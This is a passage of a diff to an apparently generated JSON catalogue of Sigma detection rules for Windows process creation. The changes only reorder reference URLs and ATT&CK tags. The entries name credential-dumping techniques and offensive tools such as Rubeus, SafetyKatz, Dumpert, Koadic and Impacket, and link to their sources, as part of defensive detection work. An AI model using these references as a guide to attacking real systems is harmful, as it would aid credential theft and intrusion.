"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_false_sysinternalsuite.yml", + "https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite" ], "tags": [ "attack.execution", @@ -37311,8 +37309,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.001/T1222.001.md", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh750728(v=ws.11)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_file_permission_modifications.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_file_permission_modifications.yml", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh750728(v=ws.11)" ], "tags": [ "attack.defense_evasion", @@ -37359,8 +37357,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_lsass.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_lsass.yml", + "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1" ], "tags": [ "attack.credential_access", @@ -37431,9 +37429,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://asec.ahnlab.com/en/38156/", "https://github.com/fatedier/frp", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_frp.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_frp.yml", + "https://asec.ahnlab.com/en/38156/" ], "tags": [ "attack.command_and_control", @@ -37456,9 +37454,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "Turla has used fsutil fsinfo drives to list connected drives. https://attack.mitre.org/techniques/T1120/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_drive_enumeration.yml", "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/discovery_peripheral_device.toml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_drive_enumeration.yml" + "Turla has used fsutil fsinfo drives to list connected drives. https://attack.mitre.org/techniques/T1120/" ], "tags": [ "attack.discovery", @@ -37481,9 +37479,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_symlinkevaluation.yml", "https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware", - "https://docs.microsoft.com/fr-fr/windows-server/administration/windows-commands/fsutil-behavior", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_symlinkevaluation.yml" + "https://docs.microsoft.com/fr-fr/windows-server/administration/windows-commands/fsutil-behavior" ], "tags": [ "attack.execution", @@ -37578,10 +37576,10 @@ "logsource.product": "windows", "refs": [ "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://eqllib.readthedocs.io/en/latest/analytics/aed95fc6-5e3f-49dc-8b35-06508613f979.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md", - "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_grabbing_sensitive_hives_via_reg.yml" + "https://eqllib.readthedocs.io/en/latest/analytics/aed95fc6-5e3f-49dc-8b35-06508613f979.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_grabbing_sensitive_hives_via_reg.yml", + "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation" ], "tags": [ "attack.credential_access", @@ -37607,8 +37605,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hacktool_imphashes.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hacktool_imphashes.yml", + "Internal Research" ], "tags": "No established tags" }, @@ -37628,8 +37626,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/bats3c/ADCSPwn", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_adcspwn.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_adcspwn.yml", + "https://github.com/bats3c/ADCSPwn" ], "tags": [ "attack.credential_access", @@ -37652,8 +37650,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/BloodHoundAD/BloodHound", "https://github.com/BloodHoundAD/SharpHound", + "https://github.com/BloodHoundAD/BloodHound", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_bloodhound.yml" ], "tags": [ @@ -37683,9 +37681,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/cube0x0", "https://www.virustotal.com/gui/search/metadata%253ACube0x0/files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_cube0x0_tools.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_cube0x0_tools.yml", + "https://github.com/cube0x0" ], "tags": "No established tags" }, @@ -37705,8 +37703,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/outflanknl/Dumpert", "https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/", + "https://github.com/outflanknl/Dumpert", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_dumpert.yml" ], "tags": [ @@ -37756,9 +37754,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_inveigh.yml", "https://github.com/Kevin-Robertson/Inveigh", - "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_inveigh.yml" + "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/" ], "tags": [ "attack.credential_access", @@ -37781,10 +37779,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_koadic.yml", "https://github.com/offsecginger/koadic/blob/457f9a3ff394c989cdb4c599ab90eb34fb2c762c/data/stager/js/stdlib.js", "https://blog.f-secure.com/hunting-for-koadic-a-com-based-rootkit/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_koadic.yml" + "https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks/" ], "tags": [ "attack.execution", @@ -37809,8 +37807,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/cube0x0/KrbRelay", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_krbrelay.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_krbrelay.yml", + "https://github.com/cube0x0/KrbRelay" ], "tags": [ "attack.credential_access", @@ -37833,8 +37831,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/Dec0ne/KrbRelayUp", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_krbrelayup.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_krbrelayup.yml", + "https://github.com/Dec0ne/KrbRelayUp" ], "tags": [ "attack.credential_access", @@ -37859,10 +37857,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.harmj0y.net/blog/redteaming/from-kekeo-to-rubeus/", - "https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_rubeus.yml", "https://github.com/GhostPack/Rubeus", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_rubeus.yml" + "https://www.harmj0y.net/blog/redteaming/from-kekeo-to-rubeus/", + "https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html" ], "tags": [ "attack.credential_access", @@ -37888,8 +37886,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/GhostPack/SafetyKatz", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_safetykatz.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_safetykatz.yml", + "https://github.com/GhostPack/SafetyKatz" ], "tags": [ "attack.credential_access", @@ -37912,8 +37910,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://securityxploded.com/", "https://cyberx-labs.com/blog/gangnam-industrial-style-apt-campaign-targets-korean-industrial-companies/", + "https://securityxploded.com/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_secutyxploded.yml" ], "tags": [ @@ -37937,9 +37935,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.mandiant.com/resources/blog/sharpersist-windows-persistence-toolkit", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_sharpersist.yml", "https://github.com/mandiant/SharPersist", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_sharpersist.yml" + "https://www.mandiant.com/resources/blog/sharpersist-windows-persistence-toolkit" ], "tags": [ "attack.persistence", @@ -38061,8 +38059,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/mrd0x/status/1478234484881436672?s=12", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_headless_browser_file_download.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_headless_browser_file_download.yml", + "https://twitter.com/mrd0x/status/1478234484881436672?s=12" ], "tags": [ "attack.command_and_control", @@ -38085,9 +38083,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.001/T1218.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm.yml", "https://eqllib.readthedocs.io/en/latest/analytics/b25aa548-7937-11e9-8f5c-d46d6d62a49e.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.001/T1218.001.md" ], "tags": [ "attack.defense_evasion", @@ -38110,9 +38108,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm_http.yml", "https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html", - "https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm_http.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md" ], "tags": [ "attack.defense_evasion", @@ -38135,8 +38133,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2020/04/20/sqlserver-or-the-miner-in-the-basement/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hiding_malware_in_fonts_folder.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hiding_malware_in_fonts_folder.yml", + "https://thedfirreport.com/2020/04/20/sqlserver-or-the-miner-in-the-basement/" ], "tags": [ "attack.t1211", @@ -38161,8 +38159,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/6", "https://threathunterplaybook.com/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.html", + "https://github.com/OTRF/detection-hackathon-apt29/issues/6", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_high_integrity_sdclt.yml" ], "tags": [ @@ -38187,8 +38185,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_createminidump.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_createminidump.yml", + "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass" ], "tags": [ "attack.credential_access", @@ -38211,8 +38209,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_uacme_uac_bypass.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_uacme_uac_bypass.yml", + "https://github.com/hfiref0x/UACME" ], "tags": [ "attack.defense_evasion", @@ -38237,8 +38235,8 @@ "logsource.product": "windows", "refs": [ "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/", - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-27939090904026cc396b0b629c8e4314acd6f5dac40a676edbc87f4567b47eb7", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-27939090904026cc396b0b629c8e4314acd6f5dac40a676edbc87f4567b47eb7", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_html_help_spawn.yml" ], "tags": [ @@ -38274,12 +38272,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.securitynewspaper.com/2016/11/23/technical-teardown-exploit-malware-hwp-files/", - "https://www.hybrid-analysis.com/search?query=context:74940dcc5b38f9f9b1a0fea760d344735d7d91b610e6d5bd34533dd0153402c5&from_sample=5db135000388385a7644131f&block_redirect=1", - "https://twitter.com/cyberwar_15/status/1187287262054076416", - "https://blog.alyac.co.kr/1901", "https://en.wikipedia.org/wiki/Hangul_(word_processor)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hwp_exploits.yml" + "https://twitter.com/cyberwar_15/status/1187287262054076416", + "https://www.securitynewspaper.com/2016/11/23/technical-teardown-exploit-malware-hwp-files/", + "https://blog.alyac.co.kr/1901", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hwp_exploits.yml", + "https://www.hybrid-analysis.com/search?query=context:74940dcc5b38f9f9b1a0fea760d344735d7d91b610e6d5bd34533dd0153402c5&from_sample=5db135000388385a7644131f&block_redirect=1" ], "tags": [ "attack.initial_access", @@ -38306,8 +38304,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://app.any.run/tasks/1df999e6-1cb8-45e3-8b61-499d1b7d5a9b/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_icacls_deny.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_icacls_deny.yml", + "https://app.any.run/tasks/1df999e6-1cb8-45e3-8b61-499d1b7d5a9b/" ], "tags": [ "attack.defense_evasion", @@ -38330,8 +38328,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.elastic.co/guide/en/security/current/microsoft-iis-connection-strings-decryption.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_connection_strings_decryption.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_connection_strings_decryption.yml", + "https://www.elastic.co/guide/en/security/current/microsoft-iis-connection-strings-decryption.html" ], "tags": [ "attack.credential_access", @@ -38354,8 +38352,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.002/T1562.002.md#atomic-test-1---disable-windows-iis-http-logging", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_http_logging.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_http_logging.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.002/T1562.002.md#atomic-test-1---disable-windows-iis-http-logging" ], "tags": [ "attack.defense_evasion", @@ -38426,8 +38424,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_impacket_compiled_tools.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_impacket_compiled_tools.yml", + "https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries" ], "tags": [ "attack.execution", @@ -38450,11 +38448,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/wmiexec.py", - "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/atexec.py", "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/smbexec.py", - "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/dcomexec.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_impacket_lateralization.yml" + "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/wmiexec.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_impacket_lateralization.yml", + "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/atexec.py", + "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/dcomexec.py" ], "tags": [ "attack.execution", @@ -38479,9 +38477,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", "https://docs.microsoft.com/en-us/powershell/module/pki/import-certificate?view=windowsserver2022-ps", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_import_cert_susp_locations.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_import_cert_susp_locations.yml", + "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/" ], "tags": [ "attack.defense_evasion", @@ -38505,9 +38503,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1202/T1202.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_indirect_cmd.yml", "https://eqllib.readthedocs.io/en/latest/analytics/884a7ccd-7305-4130-82d0-d4f90bc118b6.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_indirect_cmd.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1202/T1202.md" ], "tags": [ "attack.defense_evasion", @@ -38530,9 +38528,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_indirect_command_execution_forfiles.yml", "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-73d61931b2c77fde294189ce5d62323b416296a7c23ea98a608f425566538d1a", - "https://lolbas-project.github.io/lolbas/Binaries/Forfiles/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_indirect_command_execution_forfiles.yml" + "https://lolbas-project.github.io/lolbas/Binaries/Forfiles/" ], "tags": [ "attack.defense_evasion", @@ -38555,9 +38553,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md#atomic-test-4---infdefaultinstallexe-inf-execution", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_infdefaultinstall.yml", "https://lolbas-project.github.io/lolbas/Binaries/Infdefaultinstall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_infdefaultinstall.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md#atomic-test-4---infdefaultinstallexe-inf-execution" ], "tags": [ "attack.defense_evasion", @@ -38603,8 +38601,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/m417z/status/1566674631788007425", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_inline_win_api_access.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_inline_win_api_access.yml", + "https://twitter.com/m417z/status/1566674631788007425" ], "tags": [ "attack.execution", @@ -38627,9 +38625,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/", "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_install_reg_debugger_backdoor.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_install_reg_debugger_backdoor.yml", + "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/" ], "tags": [ "attack.persistence", @@ -38654,8 +38652,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.002/T1053.002.md", - "https://eqllib.readthedocs.io/en/latest/analytics/d8db43cf-ed52-4f5c-9fb3-c9a4b95a0b56.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_interactive_at.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_interactive_at.yml", + "https://eqllib.readthedocs.io/en/latest/analytics/d8db43cf-ed52-4f5c-9fb3-c9a4b95a0b56.html" ], "tags": [ "attack.privilege_escalation", @@ -38678,8 +38676,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_clip.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_clip.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -38704,8 +38702,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_obfuscated_iex_commandline.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_obfuscated_iex_commandline.yml", + "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888" ], "tags": [ "attack.defense_evasion", @@ -38730,8 +38728,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_stdin.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_stdin.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -38756,8 +38754,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_var.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_var.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -38782,8 +38780,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_compress.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_compress.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -38808,8 +38806,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_rundll.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_rundll.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -38834,8 +38832,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_stdin.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_stdin.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -38860,8 +38858,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_use_clip.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_use_clip.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -38886,8 +38884,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_use_mhsta.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_use_mhsta.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -38912,8 +38910,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_use_rundll32.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_use_rundll32.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -38938,8 +38936,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_var.yml" + 